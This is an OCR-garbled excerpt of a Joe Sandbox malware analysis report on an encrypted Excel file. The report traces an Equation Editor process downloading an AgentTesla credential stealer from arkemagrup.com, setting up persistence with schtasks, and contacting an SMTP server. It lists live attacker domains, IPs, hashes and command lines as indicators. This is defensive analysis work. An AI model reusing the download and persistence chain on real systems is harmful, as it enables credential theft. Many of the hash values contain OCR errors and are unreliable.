Preview:

C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1626

5.159109128857439

false
24:2dH4+SEqCZ7CINMFi/IMhEMjnGpwjplgUYODOLDIRJIh7h8gKBntn:cbhZ7CINQIi/rydbz913YODOLNdg3z
2A11DACOB7306A104AFCC907AE492B39

CEB842A57682BA01171DBBFB98C189DE9920B42CA
92866CDA7C15EBE0904C2F5BB77D1764EBC9577E7ADE131AE9EECD0378EB9151

5187B3DBE1BF2E63A02B6F3263BC30F92C15EC04575E2FB4DBEGC5C837BA05SC6A7FB091462D1FAA8C2EDBE646C82B4D7F5D88A2B3A94B3A05C6518197942FC
CD

false

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>user-PCluser</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>user-PCluser</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>user-PCluser</Userld>..  <LogonType>InteractiveToken</LogonType>..  <RunLevel>LeastPrivilege</RunLevel>.. </Princi
pal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultiplelnstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatterie
s>.. <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. ~<StartWhenAvailable>true</StartWhenAvaila
ble>

C:\Users\luser\AppData\Local\Temp\tmp7511.tmp

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:

Malicious:

C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1626

5.159109128857439

false
24:2dH4+SEqCZ7CINMFi/IMhEMjnGpwjplgUYODOLDIRIh7h8gKBntn:cbhZ7CINQi/rydbz913YODOLNdG3z
2A11DACOB7306A104AFCCO07AE492B39

CE842A57682BA01171DBBFB98C189DE9920B42CA
92866CDA7C15EBE0904C2F5BB77D1764EBC9577E7ADE131AE9EECD0378EB9151

5187B3DBE1BF2E63A02B6F3263BC30F92C15EC04575E2FB4DBE6C5C837BA0SC6A7FB091462D1FAABC2EDSEG46C82B4D7F5D88A2B3A94B3A05C6518197942FC
CD

false
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C:\Users\luser\AppData\Local\Temp\tmp7511.tmp

Preview:

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <Registrationinfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>user-PCluser</Author>.. </RegistrationInfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>user-PCluser</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>user-PC\user</Userld>..  <LogonType>InteractiveToken</LogonType>.. = <RunLevel>LeastPrivilege</RunLevel>.. </Princi
pal>.. </Principals>.. <Settings>.. <MultiplelnstancesPolicy>StopExisting</MultipleInstancesPolicy>.. <DisallowStartlifOnBatteries>false</DisallowStartlfOnBatterie
s>.. <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. ~<AllowHardTerminate>false</AllowHardTerminate>.. ~<StartWhenAvailable>true</StartWhenAvaila
ble>

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Users\Public\vbc.exe

XML 1.0 document, ASCII text, with CRLF line terminators

dropped

1626

5.159109128857439

false
24:2dH4+SEqCZ7CINMFi/rIMhEMjnGpwjplgUYODOLDIRJIh7h8gKBntn:cbhZ7CINQi/rydbz913YODOLNdq3z
2A11DACOB7306A104AFCC907AE492B39

CE842A57682BA01171DBBFB98C189DE9920B42CA
92866CDA7C15EBE0904C2F5BB77D1764EBC9577E7ADE131AE9EECD0378EBI151

5187B3DBE1BF2E63A02B6F3263BC30F92C15EC04575E2FB4DBEGC5C837BA0SC6A7FB091462D1FAABC2EDBEG46C82B4D7F5D88A2B3A94B3A05C6518197942FC
CD

true

<?xml version="1.0" encoding="UTF-16"?>..<Task version="1.2" xmIns="http://schemas.microsoft.com/windows/2004/02/mit/task">.. <RegistrationInfo>.. <Date>2014-
10-25T14:27:44.8929027</Date>.. <Author>user-PCluser</Author>.. </Registrationinfo>.. <Triggers>.. <LogonTrigger>..  <Enabled>true</Enabled>..
<Userld>user-PCluser</Userld>.. </LogonTrigger>.. <RegistrationTrigger>..  <Enabled>false</Enabled>.. </RegistrationTrigger>.. </Triggers>.. <Principals>..
<Principal id="Author">..  <Userld>user-PCluser</Userld>..  <LogonType>InteractiveToken</LogonType>..  <RunLevel>LeastPrivilege</RunLevel>.. </Princi
pal>.. </Principals>.. <Settings>.. <MultipleInstancesPolicy>StopExisting</MultiplelnstancesPolicy>.. <DisallowStartlfOnBatteries>false</DisallowStartlfOnBatterie
s>.. <StoplfGoingOnBatteries>true</StoplfGoingOnBatteries>.. <AllowHardTerminate>false</AllowHardTerminate>.. ~<StartWhenAvailable>true</StartWhenAvaila
ble>

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1:
SHA-256:
SHA-512:
Malicious:
Antivirus:

Joe Sandbox
View:

Preview:

C:\Users\Public\vbc.exe
PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
dropped
479232
7.4170903584629215
false
12288:NUdeni+TLedHTiw3CzfM5B20R0GU4V24TIWOQCs/I:KciCqdziw3KeRHtIHs/I
6733D5E8934EAFF7C0087E7DE2C8EG2A
6C0B89DCAC773E51D660780450CBD148F2FF3211
3441D4122B712A32E1C0518F02903A632ECBF557FBAB71C510C732474D326CD1
B6804A6968FA7A6F68D1A8F6161A0C69584DBFEB8SEFF5F7784C259F2886FE1B444438576D47AB5DDA24496A619DFBFFE02050BC679A3F3E13DD6BC82F61C3C
true

e Antivirus: ReversingLabs, Detection: 13%

e Filename: kwFDCU89PZ.exe, Detection: malicious, Browse

1..L.IThis program cannot be run in DOS mode....$..

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHAL:
SHA-256:
SHA-512:
Malicious:

Antivirus:

C:\Users\Public\vbc.exe

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

479232

7.4170903584629215

false
12288:NUdeni+TLedHTiw3CzfM5B20R0GU4V24TIWOQCs/I:KciCqdziw3KeRHtIHs/I
6733D5E8934EAFF7C0087E7DE2C8E62A
6C0B89DCA4C773E51D660780450CBD148F2FF3211
3441D4122B712A32E1C0518F02903A632ECBF557FBAB71C510C732474D326CD1
B6804A6968FA7A6F68D1A8F6161A0C69584DBFEB8SEFF5F7784C259F2886FE1B444438576D47AB5DDA24496A619DFBFFE02050BC679A3F3E13DD6BC82F61C3C
true

e Antivirus: ReversingLabs, Detection: 13%
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https://view.joesandbox.com/analysis/354570/html/none

Joe Sandbox
View:

Preview:

e Filename: kwFDCU89PZ.exe, Detection: malicious, Browse

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MDS5:

SHA1L:
SHA-256:
SHA-512:

Malicious:

Preview:

C:\Program Files\Microsoft Office\Office 14\EXCEL.EXE

data

dropped

330

1.4377382811115937

false

3:vZ/FFDIW2fj/FFDJIw2fV:vBFFGaFFGS

96114D75E30EBD26B572C1FC83D1D02E
A44EEBDASEB09862AC46346227F06F8CFAF19407
0C6F8CFOE504C17073E4C614C8A7063F194E335D840611EEFA9E29C7CED1A523

52D33C36DF2A91E63A9B1949FDC5D69E6A3610CD3855A2E3FC25017BF0A12717FC15EBBAC6113DC7D69C06AD4A83FAFOF021AD7C8D30600AA8168348BDOFAS
0

true

.user LALDUS user VAlbuso oo

Process:
File Type:
Category:
Size (bytes):
Entropy (8bit):
Encrypted:
SSDEEP:
MD5:

SHA1L:
SHA-256:
SHA-512:
Malicious:

Antivirus:

Preview:

C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dropped

479232

7.4170903584629215

false
12288:NUdeni+TLedHTiw3CzfM5B20R0GU4V24TIWOQCs/I:KciCqdziw3KeRHtIHs/I
6733D5E8934EAFF7C0087E7DE2C8EG2A
6C0B89IDCAC773E51D660780450CBD148F2FF3211
3441D4122B712A32E1C0518F02903A632ECBF557FBAB71C510C732474D326CD1
B6804A6968FA7AG6F68D1A8F6161A0C69584DBFEBSBEFF5F7784C259F2886FE1B444438576D47AB5DDA24496A619DFBFFE02050BC679A3F3E13DD6BC82F61C3C
true

e Antivirus: ReversingLabs, Detection: 13%

1..L.IThis program cannot be run in DOS mode....$..

Static File Info

General
File type:

Entropy (8bit):

TriD:

File name:
File size:
MD5:
SHAL:
SHA256:

SHA512:

SSDEEP:

CDFV2 Encrypted
7.994513765705169

e Generic OLE2 / Multistream Compound File
(8008/1) 100.00%

Doc2.xIsx

1239552

7848697a2cff990710c69e8d97e55¢13
9af272f7dedd808c48b03d98d7eb75356b74f6ee

ef17f47bcdb067d712661ddadff8ebee2924282c7fe21edd
237e8094cc4ebdb0

ec702b7110b6bebb405442a297221a20e4339cd599732!
b7fd86bf6ee58cd68d8fel4f4156cc13e482734{f849686fe
Obd3c23674ad4b61b76bd3d26714c27ff

24576:552SgH474u0Q5xCHB+kXRPewR/LK9TevVGP
YQuboKULGA:55us4hQS+khvRDKAGVG6EKKG
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https://view.joesandbox.com/analysis/354570/html/none

General

File Content Preview: e DT TT R PRSPSPT

File Icon

Icon Hash: ede2aaB8aadb4bcb4

Static OLE Info

General
Document Type: OLE
Number of OLE Files: 1

OLE File "Doc2.xlIsx"

Indicators

Has Summary Info: False
Application Name: unknown
Encrypted Document: True
Contains Word Document Stream: False
Contains Workbook/Book Stream: False
Contains PowerPoint Document Stream: False
Contains Visio Document Stream: False

Contains ObjectPool Stream:
Flash Objects Count:

Contains VBA Macros: False

Streams

Network Behavior

Network Port Distribution

TCP Packets
UDP Packets

DNS Queries

Timestamp Source IP Dest IP Trans ID OP Code Name Type Class

Jul 22, 2021 18:12:30.965214014 CEST 192.168.2.22 8.8.8.8 Oxe4c3 Standard query  arkemagrup.com A (IP address) IN (0x0001)
0

Jul 22, 2021 18:12:31.023108959 CEST 192.168.2.22 8.8.8.8 Oxe4c3 Standard query  arkemagrup.com A (IP address) IN (0x0001)
0

Jul 22, 2021 18:13:36.833220005 CEST 192.168.2.22 8.8.8.8 Oxca08 Standard query  mail.spamora.net A (IP address) IN (0x0001)
0

Jul 22, 2021 18:13:38.998492956 CEST 192.168.2.22 8.8.8.8 0x97f4 Standard query  mail.spamora.net A (IP address) IN (0x0001)
0

Jul 22, 2021 18:13:39.065907955 CEST 192.168.2.22 8.8.8.8 0x97f4 Standard query ~ mail.spamora.net A (IP address) IN (0x0001)
0

Jul 22, 2021 18:13:40.309792995 CEST 192.168.2.22 8.8.8.8 Oxbefa Standard query  mail.spamora.net A (IP address) IN (0x0001)
0

Jul 22, 2021 18:13:40.370260000 CEST 192.168.2.22 8.8.8.8 Oxbefa Standard query  mail.spamora.net A (IP address) IN (0x0001)
0

DNS Answers

Copyright Joe Security LLC 2021 Page 23 of 31



Timestamp Source IP Dest IP Trans |

Jul 22, 2021 8.8.8.8 192.168.2.22 Oxe4c3
18:12:31.022859097
CEST

Jul 22, 2021 8.8.8.8 192.168.2.22 Oxe4c3
18:12:31.081767082
CEST

Jul 22, 2021 8.8.8.8 192.168.2.22 Oxca08
18:13:36.891352892
CEST

Jul 22, 2021 8.8.8.8 192.168.2.22 0x97f4
18:13:39.056665897
CEST

Jul 22, 2021 8.8.8.8 192.168.2.22 0x97f4
18:13:39.122867107
CEST

Jul 22, 2021 8.8.8.8 192.168.2.22 Oxbefa
18:13:40.369712114
CEST

Jul 22, 2021 8.8.8.8 192.168.2.22 Oxbefa
18:13:40.433701992
CEST

HTTP Request Dependency Graph

e arkemagrup.com

HTTP Packets

Session ID Source IP Source Port

0 192.168.2.22 49165
kBytes

Timestamp transferred Direction

Jul 22, 2021 0 ouT

18:12:31.154568911 CEST

Jul 22, 2021 1 IN
18:12:31.209455013 CEST

SMTP Packets

Source
Timestamp Port
Jul 22, 2021 18:13:37.027579069 CEST 587
Jul 22, 2021 18:13:37.028069973 CEST 49166
Jul 22, 2021 18:13:37.085000038 CEST 587
Jul 22, 2021 18:13:37.085051060 CEST 587
Jul 22, 2021 18:13:37.086252928 CEST 49166
Jul 22, 2021 18:13:37.140757084 CEST 587
Jul 22, 2021 18:13:37.767450094 CEST 587

Copyright Joe Security LLC 2021

D

Destination IP

Reply Code
No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

No error (0)

185.26.106.165 80

Data

Name

arkemagrup.com

arkemagrup.com

mail.spamora.net

mail.spamora.net

mail.spamora.net

mail.spamora.net

mail.spamora.net

Destination Port Process

CName Address Type
185.26.106.165 A (IP address)

185.26.106.165 A (IP address)

185.26.106.194 A (IP address)

185.26.106.194 A (IP address)

185.26.106.194 A (IP address)

185.26.106.194 A (IP address)

185.26.106.194 A (IP address)

Class

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

IN (0x0001)

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

GET /Doc_87654334567.exe HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: arkemagrup.com
Connection: Keep-Alive

HTTP/1.1 200 OK
Server: nginx
Date: Thu, 22 Jul 2021 16:12:31 GMT
Content-Type: application/x-msdos-program
Content-Length: 479232
Last-Modified: Thu, 22 Jul 2021 13:40:55 GMT
Connection: keep-alive
ETag: "60f97567-75000"
X-Powered-By: PleskLin
Accept-Ranges: bytes

Dest
Port

49166
587

49166
49166

587
49166
49167

Source IP
185.26.106.194
192.168.2.22
185.26.106.194
185.26.106.194

192.168.2.22
185.26.106.194
185.26.106.194

Dest IP
192.168.2.22
185.26.106.194
192.168.2.22
192.168.2.22

185.26.106.194
192.168.2.22
192.168.2.22

Commands

220-mail.spamora.net ESMTP Postfix (Debian/GNU)
EHLO 760639

220 mail.spamora.net ESMTP Postfix (Debian/GNU)

250-mail.spamora.net
250-PIPELINING
250-SIZE 80000000
250-VRFY

250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME

250 DSN

STARTTLS
220 2.0.0 Ready to start TLS
220-mail.spamora.net ESMTP Postfix (Debian/GNU)
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Source Dest

Timestamp Port Port Source IP Dest IP Commands
Jul 22, 2021 18:13:37.767843962 CEST 49167 587 192.168.2.22 185.26.106.194 EHLO 760639
Jul 22, 2021 18:13:37.824126959 CEST 587 49167 185.26.106.194 192.168.2.22 220 mail.spamora.net ESMTP Postfix (Debian/GNU)
Jul 22, 2021 18:13:37.824220896 CEST 587 49167 185.26.106.194 192.168.2.22 250-mail.spamora.net
250-PIPELINING
250-SIZE 80000000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
Jul 22, 2021 18:13:37.824469090 CEST 49167 587 192.168.2.22 185.26.106.194 STARTTLS
Jul 22, 2021 18:13:37.879425049 CEST 587 49167 185.26.106.194 192.168.2.22 220 2.0.0 Ready to start TLS
Jul 22, 2021 18:13:39.233465910 CEST 587 49169 185.26.106.194 192.168.2.22 220-mail.spamora.net ESMTP Postfix (Debian/GNU)
Jul 22, 2021 18:13:40.547199011 CEST 587 49170 185.26.106.194 192.168.2.22 220-mail.spamora.net ESMTP Postfix (Debian/GNU)
Jul 22, 2021 18:13:40.547725916 CEST 49170 587 192.168.2.22 185.26.106.194 EHLO 760639
Jul 22, 2021 18:13:40.603985071 CEST 587 49170 185.26.106.194 192.168.2.22 220 mail.spamora.net ESMTP Postfix (Debian/GNU)
Jul 22, 2021 18:13:40.604139090 CEST 587 49170 185.26.106.194 192.168.2.22 250-mail.spamora.net
250-PIPELINING
250-SIZE 80000000
250-VRFY
250-ETRN
250-STARTTLS
250-AUTH PLAIN LOGIN
250-AUTH=PLAIN LOGIN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
Jul 22, 2021 18:13:40.604568005 CEST 49170 587 192.168.2.22 185.26.106.194 STARTTLS
Jul 22, 2021 18:13:40.659290075 CEST 587 49170 185.26.106.194 192.168.2.22 220 2.0.0 Ready to start TLS
Code Manipulations
Statistics
Behavior
\E’ Click to jump to process
System Behavior
Analysis Process: EXCEL.EXE PID: 2392 Parent PID: 584
General
Start time: 18:11:46
Start date: 22/07/2021
Path: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit): false
Commandline: ‘C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase: 0x13ff10000
File size: 27641504 bytes
MDS5 hash: 5FBOAOF93382ECD19F5F499A5CAA59F0

Has elevated privileges:
Has administrator privileges:

Programmed in:
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true

C, C++ or other language
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Reputation:

File Activities

File Written

Registry Activities

Key Created

Key Value Created

Key Value Modified

high

Show Windows behavior

Show Windows behavior

Analysis Process: EQNEDT32.EXE PID: 2264 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

File Activities

Registry Activities

Key Created

18:12:08
22/07/2021

C:\Program Files\Common Files\Microsoft Shared\ EQUATION\EQNEDT32.EXE

true

‘C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE' -Embedding

0x400000

543304 bytes
A87236E214F6D42A65F5DEDAC816AECS
true

true

C, C++ or other language

high

Show Windows behavior

Show Windows behavior

Analysis Process: vbc.exe PID: 2964 Parent PID: 2264

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

Copyright Joe Security LLC 2021

18:12:10

22/07/2021

C:\Users\Public\vbc.exe

true

‘C:\Users\Public\vbc.exe'

0x10720000

479232 bytes
6733D5E8934EAFF7C0087E7DE2C8E62A
true

true

.Net C# or VB.NET
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Yara matches:

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000006.00000002.2230917923.00000000034B9000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000006.00000002.2230917923.00000000034B9000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000006.00000002.2230665557.0000000003311000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000006.00000002.2230665557.0000000003311000.00000004.00000001.sdmp,
Author: Joe Security

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

low

Show Windows behavior

Analysis Process: schtasks.exe PID: 2172 Parent PID: 2964

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

18:12:44

22/07/2021
C:\Windows\SysWOW64\schtasks.exe
true

‘C:\Windows\System32\schtasks.exe' /Create /TN ‘Updates\WzyRXCWtdGSdEA' /XML ‘C:
\Users\usen\AppData\Local\Temp\tmpB2BC.tmp*

0xb70000

179712 bytes
2003E9B15E1C502B146DAD2E383AC1E3
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: vbc.exe PID: 2148 Parent PID: 2964

General

Start time: 18:12:46

Start date: 22/07/2021

Path: C:\Users\Public\vbc.exe

Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0x10720000

File size: 479232 bytes

MDS5 hash: 6733D5E8934EAFF7C0087E7DE2C8E6G2A

Has elevated privileges:
Has administrator privileges:

Programmed in:
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Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000009.00000002.2370417505.0000000002251000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000009.00000002.2370417505.0000000002251000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000009.00000002.2369735651.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000009.00000002.2369735651.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior

File Created

File Written

File Read

Registry Activities Show Windows behavior

Key Value Created

Analysis Process: MLdAu.exe PID: 1796 Parent PID: 1388

General

Start time: 18:13:14

Start date: 22/07/2021

Path: C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe
Wow64 process (32bit): true

Commandline: ‘C:\Users\usen\AppData\Roaming\MLdAu\MLdAu.exe"
Imagebase: 0x10fc0000

File size: 479232 bytes

MD5 hash: 6733D5E8934EAFF7C0087E7DE2C8EG2A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

0000000B.00000002.2342137023.0000000002FF1000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
0000000B.00000002.2342137023.0000000002FF1000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior
File Created
File Deleted
File Written

File Read

Analysis Process: MLdAu.exe PID: 3036 Parent PID: 1388
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General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Created

File Deleted

File Written

File Read

18:13:22

22/07/2021
C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe
true
‘C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe'
0x10fc0000

479232 bytes
6733D5E8934EAFF7C0087E7DE2C8E62A

true

true

.Net C# or VB.NET

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
0000000C.00000002.2341517856.0000000003191000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
0000000C.00000002.2341517856.0000000003191000.00000004.00000001.sdmp,
Author: Joe Security

low

Show Windows behavior

Analysis Process: schtasks.exe PID: 1440 Parent PID: 3036

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

18:13:34

22/07/2021
C:\Windows\SysWOW64\schtasks.exe
true

‘C:\Windows\System32\schtasks.exe' /Create /TN ‘Updates\WzyRXCWtdGSdEA' /XML ‘C:
\Users\user\AppData\Loca\Temp\tmp74F2.tmp'

0x280000

179712 bytes
2003E9B15E1C502B146DAD2E383ACIES
true

true

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: schtasks.exe PID: 1984 Parent PID: 1796

General

Start time: 18:13:34

Start date: 22/07/2021

Path: C:\Windows\SysWOW64\schtasks.exe

Wow64 process (32bit): true
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Commandline: 'C:\Windows\System32\schtasks.exe' /Create /TN 'Updates\WzyRXCWtdGSdEA' /XML 'C:
\Users\user\AppData\Local\Temp\tmp7511.tmp'

Imagebase: 0x280000

File size: 179712 bytes

MDS5 hash: 2003E9B15E1C502B146DAD2E383AC1E3
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: MLdAu.exe PID: 1068 Parent PID: 3036

General

Start time: 18:13:35

Start date: 22/07/2021

Path: C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe
Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0x10fc0000

File size: 479232 bytes

MD5 hash: 6733D5E8934EAFF7C0087E7DE2C8BEG2A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000011.00000002.2369629595.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000011.00000002.2369629595.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000011.00000002.2370313444.0000000001FD1000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000011.00000002.2370313444.0000000001FD1000.00000004.00000001.sdmp,
Author: Joe Security

Analysis Process: MLdAu.exe PID: 2052 Parent PID: 1796

General

Start time: 18:13:35

Start date: 22/07/2021

Path: C:\Users\user\AppData\Roaming\MLdAu\MLdAu.exe
Wow64 process (32bit): true

Commandline: {path}

Imagebase: 0x10fc0000

File size: 479232 bytes

MDS5 hash: 6733D5E8934EAFF7C0087E7DE2C8BE6G2A

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:

00000012.00000002.2336318504.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_2, Description: Yara detected AgentTesla, Source:
00000012.00000002.2336318504.0000000000402000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source:
00000012.00000002.2338492595.0000000002261000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000012.00000002.2338492595.0000000002261000.00000004.00000001.sdmp,
Author: Joe Security
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Disassembly

Code Analysis
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